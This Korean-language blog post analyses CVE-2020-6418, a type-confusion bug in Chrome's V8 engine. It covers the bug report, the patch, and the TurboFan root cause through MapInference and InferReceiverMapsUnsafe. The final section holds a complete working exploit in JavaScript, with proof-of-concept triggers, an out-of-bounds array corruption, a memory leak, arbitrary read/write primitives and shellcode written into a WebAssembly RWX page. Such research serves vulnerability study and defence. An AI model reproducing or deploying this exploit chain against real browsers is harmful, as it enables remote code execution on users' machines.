본문 바로가기

브라우저

Chrome v8 / CVE-2020-6418

 

# 취약점 요약

 

# Incorrect side effect modelling for JSCreate

 

 

The function NodeProperties::InferReceiverMapsUnsafe [1] is responsible for inferring the Map of an object. From the documentation: "This information can be either "reliable", meaning that the object is guaranteed to have one of these maps at runtime, or "unreliable", meaning that the object is guaranteed to have HAD one of these maps.". In the latter case, the caller has to ensure that the object has the correct type, either by using CheckMap nodes or CodeDependencies.

 

 

On a high level, the InferReceiverMapsUnsafe function traverses the effect chain until it finds the node creating the object in question and, at the same time, marks the result as unreliable if it encounters a node without the kNoWrite flag [2], indicating that executing the node could have side-effects such as changing the Maps of an object. There is a mistake in the handling of kJSCreate [3]: if the object in question is not the output of kJSCreate, then the loop continues *without* marking the result as unreliable. This is incorrect because kJSCreate can have side-effects, for example by using a Proxy as third argument to Reflect.construct. The bug can then for example be triggered by inlining Array.pop and changing the elements kind from SMIs to Doubles during the unexpected side effect.

 

 

짧게 요약하자면 kJSCreate가 실행되는 동안 객체의 타입이 바뀔 수 있는데, 현재 코드에선 kJSCrate가 실행되는 동안 객체의 타입이 바뀔 수 없다고 예상하고 체크로직을 없앰. 따라서 Side effect에 의한 Type confusion이 발생한다는 것.

 

 

//regress.js
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.


// Flags: --allow-natives-syntax


let a = [0, 1, 2, 3, 4];


function empty() {}


function f(p) {
    a.pop(Reflect.construct(empty, arguments, p));
}


let p = new Proxy(Object, {
    get: () => (a[0] = 1.1, Object.prototype)
});


function main(p) {
    f(p);
}


%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);


main(empty);
main(empty);
%OptimizeFunctionOnNextCall(main);
main(p);

 

 

diff --git a/src/compiler/node-properties.cc b/src/compiler/node-properties.cc
index 7ba3a59f6f..4729323c8f 100644
--- a/src/compiler/node-properties.cc
+++ b/src/compiler/node-properties.cc
@@ -447,6 +447,8 @@ NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(
}
// We reached the allocation of the {receiver}.
    return kNoReceiverMaps;
+   } else {
+         result = kUnreliableReceiverMaps;
    }
    break;
}

# Root Cause

아래는 V8 pipeline입니다.

 

Reduce란 Sea of Nodes에 존재하는 노드 중 불필요하거나 중복되는 노드를 제거하는 최적화 과정입니다. ReduceJSCall은 native함수를 최적화하기 위한 함수입니다. 여기서 builtin_id에 따라 ReduceArrayPrototypePush나 kArrayPrototypePop와 같은 함수가 사용되는 것을 볼 수 있습니다.

 

Reduction JSCallReducer::ReduceJSCall(Node* node,
                                      const SharedFunctionInfoRef& shared) {
  DCHECK_EQ(IrOpcode::kJSCall, node->opcode());
  Node* target = NodeProperties::GetValueInput(node, 0);


  // Do not reduce calls to functions with break points.
  if (shared.HasBreakInfo()) return NoChange();


  // Raise a TypeError if the {target} is a "classConstructor".
  if (IsClassConstructor(shared.kind())) {
    NodeProperties::ReplaceValueInputs(node, target);
    NodeProperties::ChangeOp(
        node, javascript()->CallRuntime(
                  Runtime::kThrowConstructorNonCallableError, 1));
    return Changed(node);
  }


  // Check for known builtin functions.


  int builtin_id =
      shared.HasBuiltinId() ? shared.builtin_id() : Builtins::kNoBuiltinId;
  switch (builtin_id) {
    case Builtins::kArrayConstructor:
      return ReduceArrayConstructor(node);
    case Builtins::kBooleanConstructor:

//중략

    case Builtins::kArrayPrototypePush:
      return ReduceArrayPrototypePush(node);
    case Builtins::kArrayPrototypePop:
      return ReduceArrayPrototypePop(node);
//후략

 

ReduceArrayPrototypePop가 builtin 함수인 pop을 최적화하는 과정을 정리하면 다음과 같습니다.

  1. Array의 ElementsKind에 따라 길이 속성을 얻는다.
  2. pop이 실행된 이후의 길이 속성을 계산한다.
  3. Array의 마지막 element를 반환한다.
  4. 제거된 element의 자리에 hole의 주소를 넣는다.

이러한 최적화에는 "ElementsKind가 결정되고, ElementsKind의 변경 여부를 추론할 수 있다"는 전제가 깔려있습니다. 이러한 추론은 MapInference에의해 수행됩니다. Mapinference는 effect chain에 따라 객체 (receiver)의 타입이 신뢰할 수 있는지, 즉 effect chain이 객체의 타입을 변경할 수 있을지 여부를 판단합니다.

 

// ES6 section 22.1.3.17 Array.prototype.pop ( )
Reduction JSCallReducer::ReduceArrayPrototypePop(Node* node) {
  DisallowHeapAccessIf disallow_heap_access(should_disallow_heap_access());


  DCHECK_EQ(IrOpcode::kJSCall, node->opcode());
  CallParameters const& p = CallParametersOf(node->op());
  if (p.speculation_mode() == SpeculationMode::kDisallowSpeculation) {
    return NoChange();
  }


  Node* receiver = NodeProperties::GetValueInput(node, 1);
  Node* effect = NodeProperties::GetEffectInput(node);
  Node* control = NodeProperties::GetControlInput(node);


  MapInference inference(broker(), receiver, effect);//
  if (!inference.HaveMaps()) return NoChange();
  MapHandles const& receiver_maps = inference.GetMaps();


  std::vector<ElementsKind> kinds;
  if (!CanInlineArrayResizingBuiltin(broker(), receiver_maps, &kinds)) {
    return inference.NoChange();
  }
  if (!dependencies()->DependOnNoElementsProtector()) UNREACHABLE();
  inference.RelyOnMapsPreferStability(dependencies(), jsgraph(), &effect,
                                      control, p.feedback());


  std::vector<Node*> controls_to_merge;
  std::vector<Node*> effects_to_merge;
  std::vector<Node*> values_to_merge;
  Node* value = jsgraph()->UndefinedConstant();


  Node* receiver_elements_kind =
      LoadReceiverElementsKind(receiver, &effect, &control);
  Node* next_control = control;
  Node* next_effect = effect;
  for (size_t i = 0; i < kinds.size(); i++) {
    ElementsKind kind = kinds[i];
    control = next_control;
    effect = next_effect;
    // We do not need branch for the last elements kind.
    if (i != kinds.size() - 1) {
      CheckIfElementsKind(receiver_elements_kind, kind, control, &control,
                          &next_control);
    }
// Load the "length" property of the {receiver}.
    Node* length = effect = graph()->NewNode(
        simplified()->LoadField(AccessBuilder::ForJSArrayLength(kind)),
        receiver, effect, control);

    // Check if the {receiver} has any elements.
    Node* check = graph()->NewNode(simplified()->NumberEqual(), length,
                                   jsgraph()->ZeroConstant());
    Node* branch =
        graph()->NewNode(common()->Branch(BranchHint::kFalse), check, control);

    Node* if_true = graph()->NewNode(common()->IfTrue(), branch);
    Node* etrue = effect;
    Node* vtrue = jsgraph()->UndefinedConstant();

    Node* if_false = graph()->NewNode(common()->IfFalse(), branch);
    Node* efalse = effect;
    Node* vfalse;
    {
      // TODO(tebbi): We should trim the backing store if the capacity is too
      // big, as implemented in elements.cc:ElementsAccessorBase::SetLengthImpl.

      // Load the elements backing store from the {receiver}.
      Node* elements = efalse = graph()->NewNode(
          simplified()->LoadField(AccessBuilder::ForJSObjectElements()),
          receiver, efalse, if_false);

      // Ensure that we aren't popping from a copy-on-write backing store.
      if (IsSmiOrObjectElementsKind(kind)) {
        elements = efalse =
            graph()->NewNode(simplified()->EnsureWritableFastElements(),
                             receiver, elements, efalse, if_false);
      }

      // Compute the new {length}.
      length = graph()->NewNode(simplified()->NumberSubtract(), length,
                                jsgraph()->OneConstant());

      // Store the new {length} to the {receiver}.
      efalse = graph()->NewNode(
          simplified()->StoreField(AccessBuilder::ForJSArrayLength(kind)),
          receiver, length, efalse, if_false);
// Load the last entry from the {elements}.
      vfalse = efalse = graph()->NewNode(
          simplified()->LoadElement(AccessBuilder::ForFixedArrayElement(kind)),
          elements, length, efalse, if_false);

      // Store a hole to the element we just removed from the {receiver}.
      efalse = graph()->NewNode(
          simplified()->StoreElement(
              AccessBuilder::ForFixedArrayElement(GetHoleyElementsKind(kind))),
          elements, length, jsgraph()->TheHoleConstant(), efalse, if_false);
    }

    control = graph()->NewNode(common()->Merge(2), if_true, if_false);
    effect = graph()->NewNode(common()->EffectPhi(2), etrue, efalse, control);
    value = graph()->NewNode(common()->Phi(MachineRepresentation::kTagged, 2),
                             vtrue, vfalse, control);

    // Convert the hole to undefined. Do this last, so that we can optimize
    // conversion operator via some smart strength reduction in many cases.
    if (IsHoleyElementsKind(kind)) {
      value =
          graph()->NewNode(simplified()->ConvertTaggedHoleToUndefined(), value);
    }

    controls_to_merge.push_back(control);
    effects_to_merge.push_back(effect);
    values_to_merge.push_back(value);
  }

만약 Mapinference가 잘못된 추측을 한다면 TypeConfusion이 발생합니다. CVE-2020-6418가 잘못된 추측을 하여 발생한 취약점입니다. Mapinference가 어떤 방식으로 추측을 하는지 코드를 살펴봅시다. MapInference에서 실질적으로 추측을 잠당하는 부분은 NodeProperties::InferReceiverMapsUnsafe입니다.

 

 

MapInference::MapInference(JSHeapBroker* broker, Node* object, Node* effect)
    : broker_(broker), object_(object) {
  ZoneHandleSet<Map> maps;
  auto result =
      NodeProperties::InferReceiverMapsUnsafe(broker_, object_, effect, &maps);
  maps_.insert(maps_.end(), maps.begin(), maps.end());
  maps_state_ = (result == NodeProperties::kUnreliableReceiverMaps)
                    ? kUnreliableDontNeedGuard
                    : kReliableOrGuarded;
  DCHECK_EQ(maps_.empty(), result == NodeProperties::kNoReceiverMaps);
}

NodeProperties::InferReceiverMapsResult는 effect chain의 opcode를 통해 effect chain의 opcode가 객체의 타입을 수정할 수 있는지 판단합니다. opcode가 IrOpcode::kJSCreate:인 case문을 봅시다. if (initial_map.has_value()) 조건문이 충족될 경우 kReliableReceiverMaps이 return됩니다.

 

NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(
    JSHeapBroker* broker, Node* receiver, Node* effect,
    ZoneHandleSet<Map>* maps_return) {
  HeapObjectMatcher m(receiver);
  if (m.HasValue()) {
    HeapObjectRef receiver = m.Ref(broker);
    // We don't use ICs for the Array.prototype and the Object.prototype
    // because the runtime has to be able to intercept them properly, so
    // we better make sure that TurboFan doesn't outsmart the system here
    // by storing to elements of either prototype directly.
    //
    // TODO(bmeurer): This can be removed once the Array.prototype and
    // Object.prototype have NO_ELEMENTS elements kind.
    if (!receiver.IsJSObject() ||
        !broker->IsArrayOrObjectPrototype(receiver.AsJSObject())) {
      if (receiver.map().is_stable()) {
        // The {receiver_map} is only reliable when we install a stability
        // code dependency.
        *maps_return = ZoneHandleSet<Map>(receiver.map().object());
        return kUnreliableReceiverMaps;
      }
    }
  }
  InferReceiverMapsResult result = kReliableReceiverMaps;
  while (true) {
    switch (effect->opcode()) {
      case IrOpcode::kMapGuard: {
        Node* const object = GetValueInput(effect, 0);
        if (IsSame(receiver, object)) {
          *maps_return = MapGuardMapsOf(effect->op());
          return result;
        }
```
중략
```
case IrOpcode::kJSCreate: {
        if (IsSame(receiver, effect)) {
          base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);
          if (initial_map.has_value()) {
            *maps_return = ZoneHandleSet<Map>(initial_map->object());
            return result;
          }
          // We reached the allocation of the {receiver}.
          return kNoReceiverMaps;
        }
        break;
      }
```
중략
```
    // Stop walking the effect chain once we hit the definition of
    // the {receiver} along the {effect}s.
    if (IsSame(receiver, effect)) return kNoReceiverMaps;


    // Continue with the next {effect}.
    DCHECK_EQ(1, effect->op()->EffectInputCount());
    effect = NodeProperties::GetEffectInput(effect);
  }
}

kReliableReceiverMaps는 Receiver의 maps이 믿을 수 있을 때, 즉 side effect로 인한 maps 변화가 없다는 확신이 있을 때 return되는 값입니다.

 

enum InferReceiverMapsResult {
    kNoReceiverMaps,         // No receiver maps inferred.
    kReliableReceiverMaps,   // Receiver maps can be trusted.
    kUnreliableReceiverMaps  // Receiver maps might have changed (side-effect).
  };

다시 JSCallReducer::ReduceArrayPrototypePop을 분석합시다. map_state_에 따라 MapInference::RelyOnMapsPreferStability를 호출하여 Maps가 안정적인지 판단합니다.

 

bool MapInference::RelyOnMapsPreferStability(
    CompilationDependencies* dependencies, JSGraph* jsgraph, Node** effect,
    Node* control, const FeedbackSource& feedback) {
  CHECK(HaveMaps());
  if (Safe()) return false;
  if (RelyOnMapsViaStability(dependencies)) return true;
  CHECK(RelyOnMapsHelper(nullptr, jsgraph, effect, control, feedback));
  return false;
}

RelyOnMapsPreferStability에서 사용하는 함수 2개만 더 보면 끝입니다. 우선 Safe함수는 maps_state가 kUnreliableNeedGuard인지 검사합니다.

 

bool MapInference::Safe() const { return maps_state_ != kUnreliableNeedGuard; }

RelyOnMapsHelper에서는 maps_state가 kUnreliableNeedGuard일 경우 InsertMapChecks 함수를 통해서 checkmaps node를 삽입합니다. 하지만 maps_state가 kUnreliableNeedGuard와 다를 경우 그냥 return합니다. 지금 상황에서는 maps_state가 kReliableReceiverMaps이기 때문에 checkmaps node를 삽입하지 않고 그냥 return합니다. 즉 checkmaps node가 빠졌기 때문에 타입에 대한 검사가 없겠군요!

 

bool MapInference::RelyOnMapsHelper(CompilationDependencies* dependencies,
                                    JSGraph* jsgraph, Node** effect,
                                    Node* control,
                                    const FeedbackSource& feedback) {
  if (Safe()) return true;

  auto is_stable = [this](Handle<Map> map) {
    MapRef map_ref(broker_, map);
    return map_ref.is_stable();
  };
  if (dependencies != nullptr &&
      std::all_of(maps_.cbegin(), maps_.cend(), is_stable)) {
    for (Handle<Map> map : maps_) {
      dependencies->DependOnStableMap(MapRef(broker_, map));
    }
    SetGuarded();
    return true;
  } else if (feedback.IsValid()) {
    InsertMapChecks(jsgraph, effect, control, feedback);
    return true;
  } else {
    return false;
  }
}

 

현재 코드는 IrOpcode::kJSCreate:이 실행되는 동안 해당 객체의 type이 maps가 변경되지 않는다고 추측하고 최적화를 거칩니다. 이러한 추측은 Proxy 구문을 염두하지 않고 있습니다. 아래의 POC는 proxy문을 통해 kJSCreate가 실행될 때 a의 type을 SMI에서 double로 바꿉니다. 이때 check_maps node가 없기 때문에 Type Confusion이 발생합니다.

 

ITERATIONS = 10000;
TRIGGER = false;

function f(a, p) {
    return a.pop(Reflect.construct(function() {}, arguments, p));
}

let a;
let p = new Proxy(Object, {
    get: function() {
        if (TRIGGER) {
            a[2] = 1.1;
        }
        return Object.prototype;
    }
});
for (let i = 0; i < ITERATIONS; i++) {
    let isLastIteration = i == ITERATIONS - 1;
    a = [0, 1, 2, 3, 4];
    if (isLastIteration)
        TRIGGER = true;
    print(f(a, p));
}

 

# 빌

 

export PATH=/home/jjy/depot_tool:$PATH
fetch v8
cd v8
./build/install-build-deps.sh
git checkout bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07 
gclient sync
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug

# 익스플로잇

 

 

Exploit은 다음과 같은 순서로 진행됩니다.

  1. Type Confusion를 통해 OOB write를 수행할 수 있습니다. 이는 a가 element를 저장할 때 compressed pointer 사용하기 때문입니다. OOB Write로 oob의 length 필드를 덮습니다
  2. oob array로 external_pointer를 Leak합니다. 이를 통해 isolate root를 구할 수 있습니다.
  3. ArrayBuffer의 backing store를 덮어써서 Full AAW, Full AAR를 획득합니다.
  4. RWX 영역의 주소를 구하고, 해당 영역에 쉘 코드를 작성합니다.

 

var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);




function ftoi(val) { // typeof(val) = float
	f64_buf[0] = val;
	return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) { // typeof(val) = BigInt
	u64_buf[0] = Number(BigInt(val) & 0xffffffffn);
	u64_buf[1] = Number(BigInt(val) >> 32n);
	return f64_buf[0];
}
function hex(val){
	return "0x"+val.toString(16)
}

function assert(a){
	if(a){
		return;
	}
	throw "error"
}
/*

*/

function print(){}

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var sh = wasm_instance.exports.main;



let a = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];

a.pop();
a.pop();
a.pop();

function empty() {}

function f(p) {
	a.push(typeof(Reflect.construct(empty, arguments, p)) === Proxy ? 0.2 : 7.210148e-317);
	for (var i = 0; i < 0x10000; ++i) {};
}

let p = new Proxy(Object, {
	get: function() {
		a[0] = {};
		oob = [0.2, 1.2, 2.2, 3.2, 4.3];
		addr=[0x1234,0x1234,0x2468,0x2468,{}]//grep 2468
		AARW_c=[1.1,2.2,3.3];
		NOT_GC=new Uint32Array(0x8);//TypedArray 
		AARW = new ArrayBuffer(0xceed);
		return Object.prototype;
	}
});

function main(o) {
	for (var i = 0; i < 0x10000; ++i) {};
	return f(o);
}


//addr=[0x1234,0x1357,{}]
for (var i = 0; i < 0x10000; ++i) {empty();}

main(empty);
main(empty);
main(p);



go=oob.length;
assert(go>0xdead)
for(addr_idx=0;addr_idx<go;addr_idx++){
	tmp=oob[addr_idx]
	if(tmp){
		print(addr_idx+" = "+hex(ftoi(tmp)))
	}
	if (ftoi(oob[addr_idx])==0x246800002468){
	            if (ftoi(oob[addr_idx+1])==0x48d0000048d0){
	                    print("addr idx found!!  "+addr_idx);
	                    break;
	            }
	    }


}


for(idx=0;idx<0x1000;idx++){
	tmp = ftoi(oob[idx])%(2n**32n)
	if(tmp==7){
		break
	}
}


isolate = (ftoi(oob[idx])/0x100000000n)*0x100000000n
print("isolate = "+hex(isolate))


addr[0]=wasm_instance


RWX_ptr = ftoi(oob[addr_idx])
RWX_ptr = isolate+RWX_ptr%0x100000000n+0x68n-1n
print("RWX_ptr = "+hex(RWX_ptr))


for(idx=0;idx<0x1000;idx++){
        tmp = ftoi(oob[idx])%(2n**32n)
        if(tmp==0xceed){
                break
        }
}


backingstore_idx=idx+1





oob[backingstore_idx]=itof(RWX_ptr);
view = new DataView(AARW)
RWX_1=view.getUint32(0,true)//AARW
RWX_2=view.getUint32(4,true)
RWX_2 = RWX_2* 0x100000000
RWX = RWX_1+RWX_2
print("RWX_1 = "+hex(RWX_1))
print("RWX_2 = "+hex(RWX_2))
print("RWX = "+hex(RWX))



oob[backingstore_idx]=itof(RWX);

shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];


for(i=0;i<shellcode.length;i++){
        view.setUint32(i*4,shellcode[i],true);
}
sh()
assert('error')

 

 

 

 

reference

https://bugs.chromium.org/p/chromium/issues/detail?id=1053604

https://blog.infosectcbr.com.au/2020/02/pointer-compression-in-v8.html

https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping/

https://www.anquanke.com/post/id/201951

 

 

2020.08.17 - Root Cause 분석 추가

'브라우저' 카테고리의 다른 글

DownUnderCTF 2020 / is-this-pwn-or-web  (0) 2020.09.21
Chrome v8 / CVE-2019-5791  (0) 2020.08.17
pwn2win 2020 / omnitmizer  (0) 2020.06.03
Chrome v8 / CVE-2019-5825  (0) 2020.04.23
2017 codegate / js_world  (0) 2020.02.29